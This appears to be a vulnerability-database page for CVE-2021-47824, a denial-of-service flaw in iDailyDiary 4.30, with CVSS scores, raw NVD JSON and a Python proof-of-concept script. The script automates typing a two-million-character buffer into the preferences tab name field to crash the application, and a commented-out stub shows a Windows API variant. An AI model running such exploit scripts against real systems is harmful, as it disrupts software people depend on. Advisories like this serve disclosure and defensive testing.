Security Vulnerability Report
中文
CVE-2021-47824 CVSS 7.5 HIGH

CVE-2021-47824

Published: 2026-01-16 19:16:07
Last Modified: 2026-04-15 00:35:42

Description

iDailyDiary 4.30 contains a denial of service vulnerability that allows attackers to crash the application by overflowing the preferences tab name field. Attackers can paste a 2,000,000 character buffer into the default diary tab name to trigger an application crash.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

iDailyDiary <= 4.30

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2021-47824 PoC - iDailyDiary 4.30 DoS # Description: Buffer overflow in preferences tab name field # Affected: iDailyDiary <= 4.30 import pyautogui import time def exploit_idailydiary_dos(): """ This PoC demonstrates the DoS vulnerability in iDailyDiary 4.30 by overflowing the preferences tab name field with 2,000,000 characters. """ print("[*] Starting CVE-2021-47824 DoS exploit...") # Wait for application to load time.sleep(2) # Generate 2,000,000 character buffer buffer = "A" * 2000000 # Open preferences dialog (adjust coordinates for your system) # Typically: File -> Preferences or Tools -> Preferences pyautogui.hotkey('alt', 'f') # Open File menu time.sleep(0.5) pyautogui.press('p') # Select Preferences time.sleep(1) # Navigate to the tab name field and clear existing content # This step may vary depending on the UI layout pyautogui.click(x=100, y=200) # Click on tab name field time.sleep(0.5) pyautogui.hotkey('ctrl', 'a') # Select all pyautogui.press('delete') # Clear field # Paste the 2,000,000 character buffer to trigger crash print("[*] Pasting 2,000,000 character buffer...") pyautogui.write(buffer, interval=0) # Rapid paste # Save settings (this typically triggers the crash) pyautogui.press('enter') print("[+] Exploit sent. Application should crash.") if __name__ == "__main__": exploit_idailydiary_dos() # Alternative PoC using Windows API for direct memory injection: # # import ctypes # # def alternative_exploit(): # """Alternative method using Windows API""" # user32 = ctypes.windll.user32 # # # Find iDailyDiary window # hwnd = user32.FindWindowW(None, "iDailyDiary") # # if hwnd: # # Send buffer to overflow the tab name field # buffer = "A" * 2000000 # # This would require sending WM_SETTEXT message # # user32.SendMessageW(hwnd, 0x000C, 0, buffer) # WM_SETTEXT # pass # Note: This PoC requires the pyaurogui library: # pip install pyautogui # Adjust coordinates and timing based on the target system.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47824", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:07.190", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "iDailyDiary 4.30 contains a denial of service vulnerability that allows attackers to crash the application by overflowing the preferences tab name field. Attackers can paste a 2,000,000 character buffer into the default diary tab name to trigger an application crash."}, {"lang": "es", "value": "iDailyDiary 4.30 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes bloquear la aplicación desbordando el campo de nombre de la pestaña de preferencias. Los atacantes pueden pegar un búfer de 2.000.000 de caracteres en el nombre de la pestaña de diario predeterminada para desencadenar un bloqueo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49898", "source": "[email protected]"}, {"url": "https://www.splinterware.com/index.html", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/idailydiary-denial-of-service-poc", "source": "[email protected]"}]}}